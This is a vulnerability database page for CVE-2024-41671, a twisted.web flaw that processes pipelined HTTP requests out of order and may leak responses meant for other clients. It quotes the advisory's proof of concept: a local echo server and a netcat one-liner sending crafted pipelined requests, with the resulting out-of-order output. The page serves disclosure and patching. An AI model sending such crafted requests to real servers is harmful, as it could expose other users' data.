CVE-2024-41671: twisted.web has disordered HTTP pipeline response
Affects twistedSource GCVE Database
Not known to be exploited · CVSS 8.3 High : upgrade to 24.7.0rc1 soon.
Data as of 31 Oct 2026, 01:16 UTC
Thin evidence
One scorer or none| CNA (GitHub_M) | CVSS 3.1 | 8.3 |
|---|
- Patch
- Available – fixed in 24.7.0rc1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:LExploitation evidence
Disclosed: evidence found.
CVE published 29 Jul 2024
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.
What to do
Upgrade twisted to 24.7.0rc1.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| PyPItwisted | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. ### PoC 0. Start a fresh Debian container: ```sh docker run --workdir /repro --rm -it debian:bookworm-slim ``` 1. Install twisted and its dependencies: ```sh apt -y update && apt -y install ncat git python3 python3-pip \ && git clone --recurse-submodules https://github.com/twisted/twisted \ && cd twisted \ && pip3 install --break-system-packages . ``` 2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following: ```python from twisted.web import server, resource from twisted.internet import reactor class TheResource(resource.Resource): isLeaf = True def render_GET(self, request) -> bytes: return b"GET" def render_POST(self, request) -> bytes: return b"POST" site = server.Site(TheResource()) reactor.listenTCP(80, site) reactor.run() ``` 3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection: ```sh (printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80 ``` 4. Observe that the responses arrive out of order: ``` HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:41 GMT Content-Length: 5 Content-Type: text/html POST HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 4 Content-Type: text/html GET HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 5 Content-Type: text/html POST ``` ### Impact See [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
References
- github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7 (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2024-41671 (opens in a new tab)
- github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33 (opens in a new tab)
- github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc (opens in a new tab)
- github.com/twisted/twisted (opens in a new tab)
- lists.debian.org/debian-lts-announce/2024/11/msg00028.html (opens in a new tab)
- vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167 (opens in a new tab)